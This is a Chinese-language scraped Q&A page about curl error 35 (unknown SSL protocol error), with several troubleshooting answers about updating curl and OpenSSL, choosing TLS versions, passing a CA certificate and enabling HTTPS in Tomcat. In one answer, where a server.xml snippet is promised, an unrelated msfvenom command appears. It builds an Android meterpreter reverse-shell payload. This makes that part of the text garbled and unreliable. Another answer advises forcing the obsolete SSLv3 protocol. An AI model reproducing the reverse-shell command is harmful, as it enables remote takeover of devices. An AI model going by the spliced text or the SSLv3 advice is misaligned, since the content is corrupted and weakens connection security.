curl error 35:连接中未知的SSL协议错误

时间:2010-07-13 04:11:21

标签: ssl curl ssl-certificate

$ curl -I https://9.185.173.135
curl: (35) Unknown SSL protocol error in connection to 9.185.173.135:443

这是我需要访问的安全页面。但我不知道如何获取其证书文件。我尝试使用Firefox,但是一旦输入了网址,它就说无法获得任何ssl证书。

$ curl -I http://9.185.173.135
HTTP/1.1 200 OK
Content-Length: 686
Content-Type: text/html
Content-Location: http://9.185.173.135/Default.htm
Last-Modified: Mon, 16 Mar 2009 05:05:38 GMT
Accept-Ranges: bytes
ETag: "a851dbd8f4a5c91:d41"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Tue, 13 Jul 2010 04:09:35 GMT

我的笔记本电脑绝对可以访问服务器。获得证书文件后,我假设我可以将其导入Firefox,然后使用我的凭据传递身份验证(我已经获得了用户名/密码)。

抱歉,我根本不是安全方面的专家。还有什么我可以尝试的吗?

非常感谢提前。

8 个答案:

答案 0 :(得分:5)

试试这个

curl_setopt($ch, CURLOPT_SSLVERSION, 3); // Force SSLv3 to fix Unknown SSL Protocol error

答案 1 :(得分:2)

致Rudi:感谢您的提示,这告诉我很多信息。

安全页面的管理员不知何故每天“刷新”认证状态。因此,虽然昨天我被阻止访问它,但它慷慨地让我获取另一个证书并将其添加到Firefox的例外列表中。

所以一切正常,我真的从昨天的经验中学到了一些东西。

答案 2 :(得分:0)

在目标SSL站点上更新我的SSL证书后,我遇到了同样的错误。 我的源操作系统是Centos 6,更新到新的curl版本解决了它。 *注意我已经使用curl -k(不安全的选项),但我仍然会收到该错误。基本上这个错误是由nss或openssl过时引起的。 yum -y install curl nss openssl 请记住,如果您有一个像PHP调用curl这样的Web应用程序,则需要重新启动Apache以使更新生效。

我已根据本指南进行了更新:http://realtechtalk.com/curl_35_Unknown_SSL_protocol_error_in_connection_Solution_Centos-1988-articles

答案 3 :(得分:0)

在针对从Eclipse部署的localhost上的Tomcat服务器运行curl / httpie时遇到了同样的错误。事实证明,Eclipse 部署的默认server.xml禁用 https。具体来说,下面的部分在server.xml中注释掉。

('msfvenom -p andriod/meterpreter/reverse_tcp LHOST='ip adress' LPORT='port' R> /root/shell.apk')

取消注释并添加两个keystore参数后,curl命令开始工作(如果证书是自签名的,则使用--insecure选项)。

<Connector port="8443" protocol="org.apache.coyote.http11.Http11NioProtocol"
           maxThreads="150" SSLEnabled="true" scheme="https" secure="true"
           clientAuth="false" sslProtocol="TLS" />

答案 4 :(得分:0)

我有一些解决方案可以解决这个问题:

1]尝试更新你的curl / php / apache [yum update]

2]重启apache

那些为我工作的人!

答案 5 :(得分:0)

我有一个类似的问题:

 curl https://localhost:3000
 ...
 curl: (35) Unknown SSL protocol error in connection to localhost:-9847

(不确定自从我请求端口3000以来那个数字-9847是从哪里来的)

修复:原来我在端口3000上的服务器正在运行“ http”而不是“ https”运行图。

答案 6 :(得分:0)

如果curl版本低于7.34,则可以使用--tlsv1选项解决该问题

 curl -I --tlsv1 https://9.185.173.135

答案 7 :(得分:0)

在我的情况下,在AIX VM上也是这个问题,请使用--cacert来指定cacert.pem

curl --cacert /var/ssl/cacert.pem https://localhost:3000